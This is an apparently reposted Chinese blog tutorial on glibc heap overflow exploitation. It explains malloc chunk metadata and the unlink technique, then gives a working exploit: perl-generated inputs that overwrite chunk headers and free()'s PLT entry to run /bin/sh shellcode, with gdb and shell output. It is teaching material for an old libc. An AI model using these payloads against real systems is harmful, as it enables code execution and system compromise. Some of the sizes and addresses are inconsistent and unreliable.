http://chinamars.me/blog/2014/01/heap-corruption-堆溢出/
申明:本文并非原创,参考了许多大牛的文章,因为太乱了所以没有标明出处,如有侵犯版权问题,请第一时间联系我。
No copyright infringement intended,If so,please contact me immediately.
0x01 背景知识
堆是程序运行时动态分配给程序的内存空间,堆内存空间发生缓冲区溢出很常见。堆溢出需要不同的手段,不像栈溢出那么简单。分配给一个函数的内存会持续保持分配直到完全被释放为止,所以被溢出的内存使用时才会被发现。堆的结构如下图。
0x02 使用堆
堆内存一般通过malloc()分配,malloc 只管分配内存,并不能对所得的内存进行初始化,所以得到的一片新内存中,其值将是随机的。通过free()释放。
PS:在不同的系统之间,对堆管理的实现没有一个统一标准,甚至在UNIX系统中也使用了几个不同的标准。
下面的例子演示了简单的堆溢出。
#include <stdio.h> int main(int argc,char* argv){ char *A= malloc(10); char *B= malloc(8); char *C= malloc(4); strcpy(B,"BBBBBBBB"); strcpy(C,"CCCC"); strcpy(A,argv[1]); printf("A(%p) is %s\n",A); printf("B(%p) is %s\n",B); printf("C(%p) is %s\n",C); return 0; }
运行结果如图。
从0x8049778开始内存的值被改写。因为要内存对齐,所以每个变量分配了16KB。
不像栈溢出,程序不会出现Segmentation fault,成功改写了其他变量的地址内容,下图是内存中的情况。
0x03 堆和数据块的结构
在malloc中,被分配给程序的内存称作数据块(chunk),一个数据块包含了元数据(metadata)和程序返回地址。数据库的定义如下:
struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; };
假如我们开辟三块内存空间,malloc(256), malloc(256), and malloc(256),堆上的内存分布如下:
Meta-data of chunk created by malloc(256)
The 256 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(256)
The 512 bytes of memory return by malloc
-----------------------------------------
Meta-data of chunk created by malloc(256)
The 1024 bytes of memory return by malloc
-----------------------------------------
Meta-data of the top chunk
"top chunk"是其他可用空间,也就是说每次申请空间时,总是从"top chunk"中分出, 一部分是申请的数据块,另一部分是新的"top chunk"。当"top chunk"不够时程序会要求操作系统去扩展它。http://man7.org/linux/man-pages/man2/brk.2.html
只有prev_size 和 size fields被已分配的数据块所使用,返回给程序的缓冲区从fd开始。也就是说一个已分配的数据块始终有8字节的元数据。一般情况下32位机器都是8位内存对齐(http://stackoverflow.com/questions/5061392/aligned-memory-management),数据块大小必须是8及其倍数,所以size的最后3位就用不到了,其中最后一位Least significant bit(https://en.wikipedia.org/wiki/Least_significant_bit)如果设为1,意味着前一个数据块(previous chunk)被使用。
如何查看一个数据块是否被使用?只需要把当前数据块的指针加上它的size,就可以到下一个数据块中,检查下一个数据块的size的最后一位即可。
一个被释放的数据块使用fd 和 bk 字段,fd指向前一个可用的数据块,bk指向后一个(所以空闲数据块被保存在一个列表中)。当程序使用malloc时,它会优先搜索和它大小一样的数据块,如果找不到再向"top chunk"申请。当调用free时,它会检查当前数据块的前一个数据块是否已被释放。在前一个数据块没有使用时,两个数据块会合并。但是,这样会增加数据块的大小,使它被放到另一个空闲数据块列表中(移出空闲数据块,再加上合并后的数据块)。代码实现如下:
/* Take a chunk off a bin list */ void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD) { FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; }
P代表正在被移除列表的数据块。参考:http://www.math.ucla.edu/~wittman/10a.1.10w/ccc/ch16/ch16.html 跟双向链表remove时一个思想。(或者他就是一个双向链表?)如果给定两个合法的地址A,B,那么free() 将会做 *(A+12) = B 和 *(B+8) = A。
我们可以通过改写元数据,实现在任意位置改写任意数据。比如,我们可以改写destructor函数的指针,指向我们的代码。
0x04 溢出
请看下面的代码:
#include <stdio.h> #include <string.h> #include <stdlib.h> int n = 5; int main(int argc, char **argv) { char *p, *q; p = malloc(1024); q = malloc(1024); if (argc >= 2) strcpy(p, argv[1]); free(q); printf("n = 0x%08x\n", n); free(p); return 0; }
[root@localhost shell]#nm ./bug1 | grep -w n //查看变量n的地址 08040505 D n [root@localhost shell]#./heap4 `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\xf9\x04\x04\x08" . "\x88\xff\xff\xbf"'` n = 0xbfffff88 Segmentation fault
我们成功的将n的地址改写为0xbfffff80。前1024个A填充p,后面两个0xfffffffc重写了q的pre_size和size,这样当free执行时,前一个数据块地址变成了q+4,指向自己填充的字符串,这样fwd->bk = bck; bck->fd = fwd; 变成了*(A+12) = B; *(B+8) = A; 其中A = 0x080404f9,B = 0xbfffff88 。
我们最终目标是执行任意代码而不是改写n的地址,通过改写free()的plt 入口(http://publib.boulder.ibm.com/infocenter/cicsts/v3r1/index.jsp?topic=%2Fcom.ibm.cics.ts31.doc%2Fdfha4%2Ftopics%2Fdfha4_macro_plt_overview.htm),来避免Segmentation fault。
[root@localhost shell]#objdump -R heapbug | grep free 0804f905 R_386_JUMP_SLOT free [root@localhost shell]#gdb ./heapbug ... gdb) run `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x70\xff\xff\xbf"' Program received signal SIGSEGV, Segmentation fault. 0xbfffff72 in ?? () (gdb)
这样,当free()被调用时,调到了我们指定的地址0xbfffff72。
因为*(A+12) = B; *(B+8) = A; 我们选择A+12为free()的plt 入口, B为shellcode的在栈上的地址。所以需要在shellcode前填充12字节(我们填充12个nop)。
[root@localhost shell]#SHELLCODE=`perl -e 'print "\x90"x12 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'` [root@localhost shell]#export SHELLCODE [root@localhost shell]#./getenv SHELLCODE //getenv 获取环境变量地址 0xbfffef00 [root@localhost shell]#./heapbug `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x00\xef\xff\xbf"'` sh-2.05$
成功执行了自己的payload。
PS:测试环境为Red hat 7.2 , 需要注意的是仅支持libc低于2.3.3。
<!-未完待续-->
来源:https://www.cnblogs.com/cloudflyaway/p/HeapCorruption.html